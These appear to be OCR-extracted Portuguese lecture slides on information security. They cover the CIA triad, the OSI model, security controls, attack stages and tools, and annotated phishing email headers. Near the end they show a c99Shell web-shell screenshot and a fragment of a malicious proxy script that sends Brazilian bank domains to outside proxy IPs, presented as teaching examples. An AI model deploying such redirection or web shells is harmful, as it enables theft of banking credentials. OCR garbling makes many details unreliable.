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) pror Marcos Mortein

Prof. Marcos Monteiro )

 Presidente da Associacao de Peritos em Computacao
Forense do Estado do Ceara;

v APECOF — http://www.apecof.org.br

“ Diretor do grupo de Interesses da Associacao de Usurarios
de Informatica e Telecomunicacoes;

v SUCESU - http://www.sucesuce.org.br/

~ Mais detalhes em http:www.marcosmonteiro.com.br
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http://map.ipviking.com/

Centro de Estudos, Respostas e Tratamento de incidentes de
Segurancga do Brasil.

Total de Incidentes Reportados ao CERT.br por Ano
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Incidentes Reportados

800000

Centro de Estudos, Respostas e Tratamento de incidentes de '
Seguranca do Brasil.

e

CERT.br: Incidentes Reportados (Top 10 CCs origem de ataques)
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S Avodeiformscsto

Ativo de informacao y

A informacao € elemento essencial para todos os
processos de negocio da organizacao, sendo,
portanto, um bem ou ativo de grande valor.

DADOS INFORMACAO CONHECIMENTO

6
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, et s o e ————————
@ [ Propriedades de seguranca da informacao

o

A seguranca da informacao € garantida pela
preservacao de trés aspectos essenciais:

confidencialidade, mtegrldade e disponibilidade
(CID). A

k! J
DISPONIBILIDADE }) Prof. Marcos Monteiro
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@ [ Integridade

- O principio da integridade € respeitado quando a
informacao acessada esta completa, sem
alteracoes e, portanto, confiavel.
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Q[ Disponibilidade X Confidencialidade )

Confidencialidade

- O principio da confidencialidade é respeitado
gquando apenas as pessoas explicitamente
autorizadas podem ter acesso a informacao.

Disponibilidade

'S

- O principio da disponibilidade € respeitado quando
a informacao esta acessivel, por pessoas
autorizadas, sempre que necessario.

Disponibilidade

9

Confidencialidade _
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Comunicacao € ...

i B HUMORARTE.CL |
L
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Se lembra do modelo OSI?

-) Prof. Marcos Mﬂlrrllteirﬂ



7 Aplicacdo
6 Apresentagéao

EIA/TIA-232, V.35,
Ethernet, etc

Transmissao Binaria i
« Fios, coneclores, vollagens, taxa de dados




6 Apresentagao

PPP, HDLC, FRAME RELAY,
IEEE 802.3, etc

Controle de Enlace Direto, Acesso aos Meios

* Prové transferéncia de dados confiavel através do
meio

« Conectividade e selegdo de caminho entre sistemas




7 Aplicacédo
- IP, IPX, APPLETALK,
6 Apresentacao ot

Enderego de Rede e Determinagio do Melhor
Caminho

« Coneclividade e selecdo de caminho entre sistemas
host

* Enderecamento légico
. Entrega por melhor esforgo




6 Apresentacao

TCP, UDP, SPX

Conexdes Fim-a-fim.

+ Preocupado com questbes de transporie enire
hosts

« Confiabilidade no transporte de dados
« Estabelecer, manter, terminar circuitos virtuais

« Controle de fluxo de detecgao de falhas e de
recuperacao de informagies



6 Apresentagao

5 Comunicagao entre hosts.

« Estabelece, gerencia e termina sessodes entre

4 Transporte aplicativos
% Rede
Mantém separados os dados
2 Enlace de dados De aplicativos diferentes
SQL, NFS, etc
1 Fisica

- N "L - _ .l-:..-:-ﬂfﬂ_ e o e




7 Aplicacédo

6 Apresentacao Representagio de Dados

; ' « Garantir que os dados podem ser lidos pelo sistema
receplor
» Formato de dados

» Estruturas de dados

« Negocia a sintaxe da transferéncia de dados para a

camada de aplicagao

JPEG, ASCII, MPEG, GIF




|7 Aplicaga

6 Apresentacao
4 Transporte

Processos da Rede para Aplicativos

« Fornece servicos de rede para as aplicacoes
(como correio eletrénico e emulagdo de terminal)

Interface com o usuario
Telnet, FTP, HTTP, SMTP, etc



Modelo em Camadas

Comunicacao Ponto-a-Ponto

Host A Host B
| Aplicagdo | 22998 _ I Aplicagao |
I Apresentacdo | 2299 _ | Apresentacdo |
[ Sessio |« 22905 [ Sessao ..
I Transporte {Segmentns} Transporte ]
I Rede o Facoles | Rede
[Enlace de dados] ¢ 9U29r%__[Enlace de dados]
I Fisica < Bits - Fisica

b "

PDU - PROTOCOL DATA UNIT 19
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Camada

7 - Aplicacdo

5 -

Apresentacao

h - Sessao

4 - Transporte

3 - Rede

2 - Ligacdo de
dados

1 - Fisico

Exemplos

HLY. Modbus

TDI, ASCIL, EBCDIC, MIDI
MPEG

Mamed Pipes, MetBIOS
SIP, SAP, SDP

MetBELUI

MetBEUI, Q931

Ethernet, Token Ring
FODI, PPP, HDLC, @.921
Frame Relay, ATM, Fibre
i“hannel

RS-232, V.35, V.34, Q911
T1, E1, 10BASE-
T.100BASE-TX | ISDH,
SOMET, DSL



/ l Application )
: G’resentatimD

Application

Internet




Camada Exemplos suite TCP/IP
HTTP, SMTP, SNMP, FTP,
- Telnet, NFS, NTP, BOOTP,
7 - Aplicacdo |HL7, Modbus DHCP. RMON. PoP3.
IMAP, HTTP, TELMET
b - ) TDI, ASCII, EBCDIC, MIDI, XDR. SSL. TLS
Apresentacdo MPEG
. Mamed Pipes, NetBIOS, : .
0 - Sessdo SIP. SAP. SDP Estabelecimento da sessdo TCF
4 - Transporte |MNetBEUI TCP, UDP, RTP, SCTP

IP, ICMP, IPsec, RIP, O5PF,

3-Red MNetBEUI, Q.931
- FEEE BGP.,

Ethernet, Token Ring,

2 - Ligacdo de |FDDI, PPP, HDLC, Q.921

’ ’ ) ©IMTP-2 ARP

dados Frame Relay, ATM, Fibre )
Channel
R5-232, V.35, V.34, Q.911,

. T1, E1. 10BASE-
1 - Fisico

T, 100BASE-TX | ISDM,
SOMET, D5L

L L
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@[ Vamos brincar...

*ping
*tracert

‘arp

*netstat -nab

NS I o]0, kU p ;) Prof. Marcos Monteiro



) i . o - N
% -
Q Camadas de protegao: controles
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Fisica Operagtes  Acesso Redes Basica Aplicacées Criptografia

24
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@[ Seqguranca Fisica

* Cercas/ portoes * Sistema de climatizagao
* Portas/ portarias * Documentacgao de
— Catracas elementos de engenharia
— Detectores de metais civil/ elétrica/ hidraulica
— Crachas * Sistema de deteccao/
* Paredes/ janelas combate a incéndio
— Sensores de invasdo * Compartimentalizacao de
* Segurancas ambientes
* CFTV

25
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Como deveria acontecer

7
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- —— - - manim e m—

e
o [ Seguranca de Operacdes )

* Controles * CSIRT (Computer Security

— Hardware e equipamentos  \ncident Response Team)

— Software
— Pessoal (Gestdo de RH) * Mecanismos de controle
e verificacao

* Manejo de midia — Recuperagdo de Desastres

— Analises de
vulnerabilidades/ testes
de 1nvasao

— Armazenamento

— Descarte

* Mesas e quadros limpos — Controle de logs

28
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Controle de Acesso

f/\ N
7 y

A

Fisica

Operacdes  Acesso

30
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Controle de Acesso J
* Ambientes * Os mecanismos de
— Biometria autenticacao de usuarios
— Crachas dividem-se em trés categorias:

— baseados no conhecimento

* (0 que se sabe)

* Sistemas .
— baseados em propriedade
— ACLs * (0 que se possui)
— Biometria, tokens, smartcards, N d0s e Caractoristicas
ete * (o que se ¢)
— SSO
— Servicos de autenticacao AAA
(ex. RADIUS)

31
) Prof. Marcos Monteiro



O AAAA da segurang

User Name:
Password:

Who are you?

orizat;

What can you do?
How do we

What has
manage all
of this...?

PP :

happened?
L - L . @ ;) Prof. Marcos Monteiro
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Fraguezas das senhas )

Pessoas podem escolher senhas fracas, faceis de adivinhar;

Quando escolhem (ou sao obrigadas a usar) senhas fortes,
escrevem em um papel de facil acesso;

As senhas podem ser compartilhadas de forma indevida;

Podem ser interceptadas, quando enviadas de forma
desprotegida;

Uma senha pode ser descoberta sem que o proprietario saiba;

33
) Prof. Marcos Monteiro



Antes de conseguir ele deve ter tentado...

rootéMM:~# tail /var/log/auth.log
Sep 3 00:48:47 MM sshd[12002]: pam winbind(sshd:auth): request wbcLogonUser failed: WB
C ERR AUTH ERROR, PAM error: PAM USER UNKNOWN (10), NTSTATUS: NT STATUS NO SUCH USER, E

rror message was: No such user
Sep 3 00:48:49 MM sshd[12002@g Failed password for root from 192.168.222.1 pgPt 50126
ssh2

Sep 3 00:48:50 MM sshd[12002]: pam winbind(sshd:auth): getting password (0x00000388)
Sep 3 00:48:50 MM sshd[12002]: pam winbind(sshd:auth): pam get item returned a passwor
d

Sep 3 00:48:50 MM sshd[12002]: pam winbind(sshd:auth): request wbcLogonUser failed: WB
C ERR AUTH ERROR, PAM error: PAM USER UNKNOWN (10), NTSTATUS: NT STATUS NO SUCH USER, E
rror message was: No such user

Sep 3 00:48:53 MM sshd[1200243 _Failed password for root from 192.168.222.1 pg

ssh2

Sep 3 00:48:53 MM sshd[lZOﬂ

Sep 3 00:48:53 MM sshd[12002]): PAN alriures; loqname- uid=0 euid
=0 tty=ssh ruser= rhost=macbook-ai

Sep 3 00:48:56 MM sshd[1200%: Accepted password for root from 192.168.222.1 p@t 5012

1 sshl

Sep 3 00:48:56 MM sshd[12005]: pam unix(sshd:session
(uid=0)

) Prof. Marcos Monteiro



Seqguranca de redes )
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Fisica Operagdes  Acesso Redes
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Seguranca de redes )
* Arquitetura * Geréncia de conteudo
— Segmentacao de rede — VPN criptografada
— DMZ —802.1X
— Honey Nets e Extras
3 Segregac;ﬁo de servigos e — Redundancia de link
maquinas

— Balanceamento de carga
* Controles

— Firewall
— IDS / IPS
— Controle de banda

g
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@ [Objetivos da Seguranga de Redes

Estabelecer protocolos seguros que garantam

- Confidencialidade (usando criptografia)
- Integridade (atraveés de verificacoes matematicas)

- Disponibilidade (introduzindo medidas que inibam ataques
de DoS)

O ponto crucial para alcancar a confidencialidade e a
integridade € a autenticacao

- Acesso a sistemas devem ser permitidos somente a
usuarios autorizados

37
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)

Web Surfing

Email

-’ Elementos de Segurancga de Perimetro |

Conteudo

Spyware, Malware
*Navegacao indevida
‘Perda de dados
sigilosos

*Aplicagdes nao
autorizadas (IM, P2P,
tunneling, etc.)

+ SPAM
* Phishing
+ Virus

* Malware

Internet

Firewall

IDS/IPS

KR

@@ Sequranca de

Redes

@@ Seguranca de

Conteudo

1 &—@ Rede corporativa

38
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\
) "
. Arquitetura de Sequranca )
f/\xx\“ / “
_;’f // ff
/ / /
,f f +  Seguranca nativa dos
' I,-“ sistemas
| I.' » RFCs de seguranca
‘ | »  Classificacao da Informacao
|I ' Hr::mnl:::gacam de produtos
'. “Pior que nao ter um sistema
"ﬁ. de seguranca, & ter e nao
usar’
Fisica Operagdes  Acesso Redes Basica
40
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— |___Arquitetura de Seguranca )

.

Uso de metodologias de producao
(SDLC)

| . Implantagam de seguranca em a3
| desenvolvimento
.| = Mecanismos de Backup e Auditoria

Foliticas anti-malware
Controle de licenciamento

N I

Fisica Operagoes  Acesso Redes Basica Aplicactes

41
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Fisica

Operagdes

Ultima linha de defesa

Protecao de dados
= Em repouso
=  Em transito

Seguranca de comunicacdes
= |PSec
= SSL
= Camadas 1e2

ACesso Redes Basica

T o,

="

" 5 08 e

Aplicacdes Criptografia

42
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Soandar a witima

Anatomia de um Ataque :

"—"\? Fazer scanning
" = - o

l

Enumeragio dos recursos fea——

l

- Cibter Aceszso e

l

Aumentar de privilegios

I

Filfering (procura de

passwwards)

I

Encobrir a= pistas

.

Criar portas paralela=
BacklDwoor=

Megacdo de Serwvigo =




()
-~

Ataques baseados na WEB

* Ataques direcionados ao Servidor

* Os passos para um ataque direcionado a um Servidor
* Reconhecimento

* Avaliacao de vulnerabilidade

* Exploracao

* Ataques de Forca Bruta

* Man-in-the-middle (Homem do Meio)

44
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Os passos para um ataque

SR A s

1. Reconhecimento
2. Avaliacao do Alvo

3. Exploracao
4. Escalonamento de Privilegios
5. Manutencao de um ponto de apoio

45
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1. Reconhecimento

* Uma estratégia de guerra militar, objetiva definir um alvo
identificando suas tecnologias, suas defesas, dispositivos e
pessoas pertencentes ao alvo.

* Ferramentas Utilizadas
* Google - Pesquisas avancadas no site ou usando palavras chaves.
* Registro.br - Obter informacoes do alvo pelo registro do site.
* Protocolo ICMP (ping)
* Consulta em DNS (dig ou nslookup)

* Nmap - Para busca de portas abertas e identificacao de servicos de
rede.

* Banco de Dados de Vulnerabilidades (ex.: exploit-db.com)

* Maltego - Um aplicativo forense que vasculha e levanta varias
informacoes sobre um alvo, tais como DNS, IP, e-mail, geolocalizacao,
sites, etc. e gera graficos. 46

e Foca - Auditoria de metadados em Documentos Word ESEe/ [P Monteiro



- —— - - manim e m—

-

~»

2. Avaliacao de vulnerabilidades )

* Apds o reconhecimento do ambiente chegou a hora de avaliar as informacoes
de vulnerabilidades obtidas.

* Estas ferramentas abaixo podem ser utilizadas para isso:
* Webshag

* Ferramenta para auditar servidores WEB. Lista os sites, pastas, arquivos e portas encontradas no
servidor WEB.

Skipfish
* Ferramenta open source do Google para detectar falhas de seguranca em sites

* ProxyStrike

* Trabalha como um proxy local, e a medida que vai visitando um site ele vai listando suas
vulnerabilidades, vocé pode realizar consultas e aplicar atagues com SQL injections.

* \eja

* Indexa e analisa um site a procura ligacoes e formularios que possam ser vulneraveis.
OWASP-ZAP

* Qutra ferramenta proxy para interceptar falhas de seguranca em sites em HTTP e HTTPS.
Websploit

* E um projeto open source que retine exploits e ferramentas para anaHsar sistemas remotos.
) Prof. Marcos Monteiro
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3. Exploracao

* Apos investir um bom tempo em reconhecimento e analise dos
alvos, chegou a hora de explorar as possiveis vulnerabilidades.

* Ferramentas que podem ser utilizadas
* Metasploit

* Ferramenta mais popular para exploracao de vulnerabilidades, é considerada a
ferramenta mais util para pentest. Possui um conjunto de exploits e payloads.

* Com ele vocé pode realizar intrusdoes em diversos tipos de vulnerabilidades.

* W3af

* Auditoria de vulnerabilidades para aplicacbes WEB, realiza um escaner no site e
realiza uma intrusao na vulnerabilidade encontrada.

48
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4. Ataques de Brute Force

o

* Um ataque de brute force € quando todas as possiveis senhas sao
verificadas até encontrar a correta.

* Ferramentas para brute force
* Hydra

* Ferramenta desenvolvida pela Escola do Hacker (THC) que usa métodos de brute
force em variados protocolos diferentes.

* E ideal para ataques a sistemas de e-mail como POP3 e SMTP.

* Um plugin do Firefox chamado Tamper Data pode ser usado em conjunto com o
Hydra para da informacoes de métodos POST e GET de um site.

* DirBuster

* Projetado para ataques de brute force em diretérios de servidores WEB.
* WebSlayer

* Ferramenta de brute force para formularios de usuario e senha usando parametros
GET e POST.

* Um plugin do Firefox chamado “Live HTTP Headers” pode ser usado em conjunto
com esta ferramenta para reuni informacoes durante a tentativa de login.

49
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Man-in-the-middle

o

* Nesta modalidade o invasor se posiciona entre um alvo e outro
durante uma comunicacao, interceptando todos os dados entre
as partes envolvidas.

50
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@ Tipos de Ataque contra as Redes de Computadores

- Ty

o

“BackDoors

“ ApOs o atacante acessar a maquina da vitima e ao sair
deixa uma porta aberta permitindo acessos remotos
posteriores.
~ Exemplos de BackDoors: Netbus e BackOrifice.

Server admin

¥ NetBus 1.70. by cf -

Host name IP: | 28.59.117.95

hd Port: |12345

fei 3

Open CD-ROM [ ininterval: (60 About Add IP Cancel
Show image Function delay: b Memo Del IP Scan!
Swap mouse Port Redirect App Redirect | Server setup

Start program Play sound IO |o Control mouse

Msg manager Exit Windows Mouse pos Go to URL
Screendump Send text Listen Key manager

Get info Active wnds Sound system File manager

) Prof. Marcos Monteiro



@ Tipos de Ataque contra as Redes de Computadores ]

‘Defacement

~A acado de Danificar ou modificar paginas web €
chamada de Defacement.

» (® @ HacKeD By Mr. Taha! Defacer - Mozilla Firefox 0 & a d= 08:28 S marcos |0
|1 Gmail - Entrada (197) - micr... | B Facebook | | HacKeD By Mr.Tah‘t!}Defacer | |

marcosmon teiro.com.br vic| [ Mg Ql i
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@ [ Tipos de Ataque contra as Redes de Computadores

o

“DDoS - Distributed Denial Of Service

“ Tentativa de tornar um servigo indisponivel com uma
guantidade extremamente excessiva de solicitacoes de

servico. Zombie Hoard ...
|

F 9

T e

~./ Internet '“““-._H
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@ [ Tipos de Ataque contra as Redes de Computadores

o

' “Engenharia Social

~ O atacante aproveitando da falta de conhecimento
tecnoldgico ou a alta confianca das pessoas em outras
pessoas, consegue obter informacoes sigilosas sem
gue a vitima perceba.

“Exemplos: Vocé recebe um email (FALSO) “do seu
banco” informando que deve alterar sua senha. Vocé
acessa o link DIGITA A SENHA ATUAL em seguida a
nova e clica em concluir, PRONTO. O atacante tem
sua senha (Que nao foi alterada), ja com sua senha
0os proximos dados nao serao tao dificeis de
conseguir.

) Prof. Marcos Monteiro



Itau S/A <internetbanking@itau.com.br> 20:00 (Ha 3 horas) - |Z|

para contato |- . -
" e -mail spoofin
= Encaminhar

Filtrar mensagens semelhantes
Imprimir

Adicionar ltau S/A a lista de contatos
Excluir esta mensagem

Denunciar phishing

Mastrar original

Texto de mensagem truncado?

A\ Por que esta mensagem esta no Spam? Ela tem conteddos utilizados normalmente em mensagens de sf

Traduzir mensagem
Marcar como ndo lida

Comunicamos aue o Itad estd realizando a atualizacdo e correcdo da sua
Delivered-To: microservicefgmail .com
Received: by 10.217.147.201 with SMTP id £f£dSlecspll8793web:
Thu, 15 Jan 2015 15:00:51 -0800 (PST)
X-Received: by 10.236.2.41 with SMTP id 29mr7260332vhe.179.1421362850186;
Thu, 15 Jan 2015 15:00:50 -0800 (PST)
Return-Path: <internetbankingfitau.com.br>
Received: from painel.cloudalive.com.br ([209.208.110.35])
by mx.google.com with ESMTPS id g#si11150363vka.l146.2015.01.15.15.00.49
for <microservice@gmail.com>
{(version=TLSvl.2 cipher=ECDEE-RSh-AES128-GCM-5HAZ56 bits=128/128);
Thu, 15 Jan 2015 15:00:50 -0800 (DST)
Received-8PF: fail (google.com: domain of internetbanking@itau.com.br does not designate 209.208.110.35 as permitted sender) client-ip=209.208.110.35;
Authentication-Results: mx.google.com;
spf=fail (google.com: domain of internetbanking@itau.com.br does not designate 209.208.110.35 as permitted sender) smtp.mail=internetbanking@itau.com.
dkim=temperror (no key for signature) header.i=@;
dmarc=fail (p=NONE dis=NONE) header.from=itau.com.br
Received: from [127.0.0.1] (port=59322 helo=bloc.digimnt.com.br)
by painel.cloudalive.com.br with esmtp (Exim 4.84)
{envelope-from <internetbankingfitau.com.br>)
id 1YBtPG-0007I0-HE
for contatofmarcosmonteiro.com.br; Thu, 15 Jan 2015 20:00:50 -0300
DEIM-Signature: wv=1; a=rsa-shal; c=relaxed/relaxed; s=adkl; d=itau.com.br;
h=Date:From:To:Subject:Reply-To:Message-ID:Mime-Version:Content-Type; i=internetbankingfitau.com.br;
bh=t6y]1EmmrValdxy5xHEv3KSj3F0Ew=;
b=YPOX3JCzUPo2C6XuyQ49%kupczaS43n+TLIHtaKsYkncREQG2QaYFEIZPESRQItpzSulETk3wz2xs
YRoWxaWkxLxDkQ9g50keXATdDDEXUTISRT 1y f0f1b0egBRON/ eP0InbpDDrUPoVNpngET k9 3dz0ch
1dEtFaDLyg2Poa/zl1lLc=
DomainKey-Signature: a=rsa-shal; c=nofws; g=dns; s=adkl; d=itau.com.br;
b=NxBgcBjnQrR3RXLal 2wygTouVYLRRGST1iOLoxaudh0Z0PES2htp /I jVEp2Cl3odnHSQETRI+14X
LPcFV1ICIU46FleVerVI4BVw3IZgPFEEEING 0zo22 JjgbchivwIOHIQevRSETluXgSO0TVYVTBEBI=sOSEY
XxrQZCA+PAMRKLIz TwkNo=;
User-RAgent: CodelIgniter
Date: Thu, 15 Jan 2015 21:00:46 -0200
From: "Itau S/A" <internetbanking@itau.com.br>

- ~
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Delivered-To: microservicefgmail.com
Received: by 10.216.52.193 with SMTP id e43cspl20080wec;

Thu, 4 Dec 2014 15:09:47 -0B00 (PST)
X-Received: by 10.194.193.38 with SMTP id hlémrl19710174wjc.38.1417734587188;

Thu, 04 Dec 2014 15:09:47 -0800 (PST)
Authentication-Results: mx.google.com;

spf=softfail (google.com: best guess record for domain of transitioning Remete nte fraUdadO
apachefaccess3.thairegister.com does not designate <unknown> as permitted sender)
smtp.mail=apachefaccess3.thairegister.com
Received-SPF: softfail (google.com: best guess record for domain of transitioning
apachefaccess3.thairegister.com does not designate <unknown> as permitted sender)
Message-ID: <5480e9bb.523b7cla.1b54.ffffe56cMFETCHER ADDEDEgoogle.com>
Received: by 10.124.59.82 with POP3 id 118mf£f10309243wgh.21;

Thu, 04 Dec 2014 15:09:47 -0800 (PST)
X-Gmail-Fetch-Info: contato@marcosmonteiro.com.br 5 mail.marcosmonteiro.com.br 110
contato@marcosmonteiro.com.br
Return-path: <apachefaccess3.thairegister.com>
Envelope-to: contato@marcosmonteiro.com.br
Delivery-date: Thu, 04 Dec 2014 19:56:22 -0300
Received: from [127.0.0.1] (port=42776 helo=access3.thairegister.com)

by painel.cloudalive.com.br with esmtp (Exim 4.84)

({envelope-from <apachefaccess3.thairegister.com>)

id 1XwfJt-0004mI-QC

for contatofmarcosmonteiro.com.br; Thu, 04 Dec 2014 19:56:22 -0300
Received: by access3.thairegister.com {(Postfix, from userid 48)

id BE0O1419B133E; Fri, 5 Dec 2014 05:31:06 +0700 (ICT)
To: contatofmarcosmonteiro.com.br
Subject: contatofmarcosmonteirc.com.br - Seus pontos vencem hoje. Realize agora o resgate
e a troca de seus pontos pelos melhores premios nas melhores lojas. PROMO201427541
MIME-Version: 1.0
Date: Thu, 04 Dec 2014 15:09:47 -0800 (PST)
From: contatofmarcosmonteirc.com.br

Content-type: text/html; charset=iso-8859-1

From: Programa de Vantagens Cielo <fidelidadel39%47€programadepremiosdezembro.com.br>
Message-Id: <20141204223107.BE01419B133E@access3.thairegister.com>

O IP 10.216.52.193 enviou um e-mail utilizando o usuario
"apache@access3.thairegister.com", com certeza invadiram ou estao utilizando uma
vulnerabilidade do Plesk Panel do site http://www.thairegister.com. Como o usuario é
chamado de apache, deve haver algum script em PHP enviando e-mails, com isso
ele pode facilmente alterar o cabecalho da mensagem que sera entregue.

O possivel invasor pode ter conseguido acessar o painel por este link:
http'//acceSSB thairegister.com:8880/ e como vimos a pagina esta padrao de

56
instalacdo, € bem possivel que o usuario e a senha esteja padrao também.

Prof. Marcos Montelm
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Prezade Cliente, microservicei@gmail.com

Foi langada uma nova comegao para o Cadastramento de
computadores, esta corrige uma falha em nivel critico do sistema de
identificagao do cliente, que pode occasionar perdas de dados e
problemas de acesso. A atualizagao € simples e rapida, basta entrar
no link abaixo e em seguida acessar sua conta, e apos completar
todos os dados que pedirdo para efetuar uma atualizagao completa.

Para iniciar a atualizagao siga o caminho abaixo:

https:/finternetbanking.caixa.com.brkivmog2/ Inde_x[:g_rnmsa

Atencao: Todos os usuarios devem se cadastrar e atualizar o
Cadastramento de Computadores. Caso a comegao ndo seja
realizada,
seu computador serd bloqueado e o desbloqueio 56 podera ser
realizado nas agencias da CAIXA.
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# c99Shell v. 1.0 pre-release build #16 §
Software: Apache. PHP/5.2.17
uname -a: Linux box304.bluehost.com 2.6.32-42.1.BHsmp #1 SMP Tue Jun 28 17:06:41 MDT 2011 xB6_64
uid=1412(kinghelp) gid=1410(kinghelp) groups=1410({kinghelp)
Safe-mode:
Shome2/kinghelp/public_html/phudau.com/ /
Free 1365.8 GB of 1833.41 GB (74.5%)
ﬁ = =F E & % Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
Insideteam Corporation - 2010
Listing folder (1 files and 3 folders):
Name & Size Modify Owner/Group Perms Action
| LINK 04.09.2011 20:48:39 kinghelp/kinghelp o
5 . LIMK 04.09.2011 20:26:18 kinghelp/kinghelp 0 E]
[ ] [http-internetbanking.caixa.gov.br] * DIR 04.09.2011 20:50:37 kinghelp/kinghelp Q
[ ] [https-internethanking.caixa.gov.br] DIR 04.09.2011 20:50:41 kinghelp/kinghelp o [ ]
[ ] [internetbanking.caixa.gov.br] DIR 04.05.2011 20:50:32 kinghelp/kinghelp o
elite.php 161.71 KB 04.05.2011 20:46:51 kinghelp/kinghelp 0 FE =
[ Seiectan | [ Unselectan | [with selected: [ [ Confirm |
:: Command execute ::
Enter: Select:
| I Execute | | e =| Execute |
:: Shadow's tricks :D ::
Useful Commands Kernel Info:

I Kernel version

- I Execute I

Warning. Kernel may be alerted using higher levels

ILinuxbo:iBljni_bluehost.l:{mZ“ Search I

:: Preddy's tricks :D ::
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[ EON ] 72 MarcosMonteiro -

in-addr.arpa na ryer gvt.net.br.
in-addr.arpa nameserver wi.net.br.

in-addr.arpa na ar = 1.gvt.net.br.
in-addr. :
Delivered-To: microservice@gmail.com dns3. gvt.net. br

Received: by 10.217.147.201 with SMTP id fdS5lcspBBE263web;
Thu, 15 Jan 2015 12:19%:09 -D800 (PST) j
¥-Received: by 10.170.144.8 with SMTP id 18mr8127733vke.48.1421353148680;
Thu, 15 Jan 2015 12:19:08 -0800 (PST) dnsd.gvt.net.po
Return-Path: <ivoneide@trenil.com.br>
Received: from painel.cloudalive.com.br ([209.208.110.35])
by mx.google.com with ESMTPS id afhsif98623yka.128.2015.01.15.12.
for <microservicefgmail.com> -
(version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHAZ56 bits=128/128) 8
Thu, 15 Jan 2015 12:1%:08 -0800 (PST)
Received-SPF: softfail (google.com: domain of transitioning ivoneideftrenil.com.br does not designe
Ruthentication-Results: mx.google.com;
spf=softfail (google.com: domain of transitioning ivoneidef@trenil.com.br does not designate
dkim=pass header.i=@trenil.com.bxr
Received: from [127.0.0.1] (port=51360 helo=sisprov.laraserv.com.br)
by painel.cloudalive.com.br with esmtp (Exim 4.84)
{envelope-from <ivoneide@trenil.com.br>)
id 1¥Bgrk-0000I0=MT
for contatofmarcosmonteiro.com.br; Thu, 15 Jan 2015 17:19:08 -0300
DEIM-Signature: v=1; a=rsa-sha256; g=dns/txt; c=relaxed/relaxed; d=trenil.com.br; s=default;
h=Content-Type:¥IME-Version:Message-ID:Date:Subject:To:From; bh=2qZ5mzEcl4PChilSaHbIMy+beB:
b=SE/ARqTcd2i3VMYWBRETQEDUG/Y30kId]l/0VCiCebr/5DdsBE+XTLEPWZ s 3nAxTqgWHIW1 0m jpXACQ LFCH+NxFacH el

.het.br
E.net.

H
Received: from 177.207.10.198.dynamic.adsl.gvt.net.br ([177.207.10.198]:54569 helo=secretaria)
by sisprov.laraserv.com.br with esmtp (Exim 4.B0.1)
{envelope=-from <ivoneide@trenil.com.br>)
id 1¥Bgr¥X-0002Aj-E0 -
for contatofmarcosmonteiro.com.br; Thu, 15 Jan 2015 17:1B:01 =0300 ?) Pr'Df. MEIC'DS Mﬂﬂtelrﬂ

From: "ivoneide" <ivoneide@trenil.com.br>
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Delivered-To: microservice@gmail.com
Received: by 10.217.147.201 with SMTP id fdSlcspB93258web;
Thu, 15 Jan 2015 12:43:27 =0800 (PST)
¥-Received: by 10.170.70.193 with SMTP id mlEdmr8090419ykm.50.1421354RN7181 -
Thu, 15 Jan 2015 12:43:27 -0800 (PST) . -’:"-
Return-Path: <amandasantoro.adv@gmail.com>
Received: from painel.cloudalive.com.br {([209.20B8.110.35])
by mx.google.com with ESMTPS id £7si1011210vhc.153.201!
for <microservicefgmail.com> fuf
{(version=TLSv1 .2 cipher=ECDHE-RSA-AES128-GCM-5HAZ56 bi
Thu, 15 Jan 2015 12:43:27 =0800 (PST)
Received-5PF: softfail (google.com: domain of transitioning am
huthentication-Results: mx.google.com: : 1r-=t . A name
spf=softfail [google.com: domain of transitioning amand
dkim=pass header.i=@gmail.com; thoritaotive an s can be found
dmarc=pass (p=NONE dis=NONE} header.from=gmail.com o4l 1 in-addr.aroa  nar e
Received: from [127.0.0.1] (port=52327 helo=mail-ga0-f42.googl et . i addr.drpe N il
by painel.cloudalive.com.br with esmtp (Exim 4.84) 189.1n-addr.arpa C Mier =
(envelope-from <amandasantoro.advégmail .com=>) BT timbrasi m. b
id 1YBrGI-0001Kz-VV 1P@1 . ] m.br
for contatolfmarcosmonteiro.com.br; Thu, 15 Jan 2015 17
Received: by mail-gal-£42.google.com with SMTE id dclésol2B07193gab.l
for <contato@marcosmonteiro.com.br>; Thu, 15 Jan 2015 12:43:24 -0800 (BST)
DEIM-Signature: v=1; a=rsa-shal25é; c=relaxed/relaxed;
d=gmail.com; s=20120113;
h=date:subject:message-id:importance: from:to:mime-version
tcontent-type;
bh=EplmDAcsFLIMIzVAJMBEdsWSPkOwIPbuMLMk4Liz3dull=;
b=VvidLpDkbnvSCoIoNYcinRIF4gmVWCEb/ jggdMDjOXHNOP1LvJII9 /MdeDSkfyattlb
9bWb+MCH 3 EM5 T jWaRbnybigzxBNxNNbo8 YRIwH/LEF JEDESuM2 8ym jREEKr ERIpIEFE
BIECEtP+hEIVAx9xeRe /W2h1kN3IZM3vacqgDATpElvB3icrjzPdP3UZblujWiwtds £Q0pBEM
dSuLo3xohsYK3IVEDS3hMceTRTgVdSgBIWPdakCds /KokmxXJ7 1DhFrv0cds TAkwebAln
hrFSidoVMiM/cox3DELdEIFpbddt IPooWEEQ4hpaNOnY 7/ g8N6CdppREVEV T4 hD+ /Ho
2JJg
¥-Received: by 10.224.112.9 with SMTP id u9mr19774051lgap.18.1421354604255;
Thu, 15 Jan 2015 12:43:24 -0800 (PST)
Received: from [100.106.190.205] ([189.40.82.1221)
by mx.google.com with ESMTPSA id e9sm2246255qgd.18.2015.01.15.12.43.18
for =<contato@marcosmonteiro.com.br>
{(version=TLSv]l cipher=ECDHE-RSA-RC4-5HA bits=128/12E);
Thu, 15 Jan 2015 12:43:23 =0800 (PST)
Date: Thu, 15 Jan 2015 1B:43:06 =0200
Subject: =7I80-8859-17Q7Recupera=ET7=Eldc_de E-mail - Hotmail?

Bl i Tre ol eed AeefIEmn A AT mmmm e Tdden 1T AT IEACAADATE memm 21 B B

A1 r-de-Ma
-l i
1

oritative

s S

2 MarcosMond
timbrasil.com.br.

intert
lnternet addr
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@ Script de Proxy

™

function FindProxyForURL(url, host) {

var n = new
Array("www.bb.com.br","bb.com.br","www.bancodobrasil.com.br","t
descoprime.com.br","bradescoprime.com.br","www.itau.com.br"," 11
unibanco.com.br","real.com.br","www.real.com.br","www.bancoreal
.com","serasa.com.br","www.serasa.com.br","www.santander.com.bt
d.com.br","www.hipercard.com.br","www.credicardcitinovo.com.br’

-----------------

return "PROXY 69.65.45.24:80"; } }

var ¢ = new
Array("www.caixa.gov.br","caixa.gov.br","internetbanking.caixa.
'"caixaeconomica.com.br");

return "PROXY 72.167.0.126:80";: } }

return "DIRECT"; }

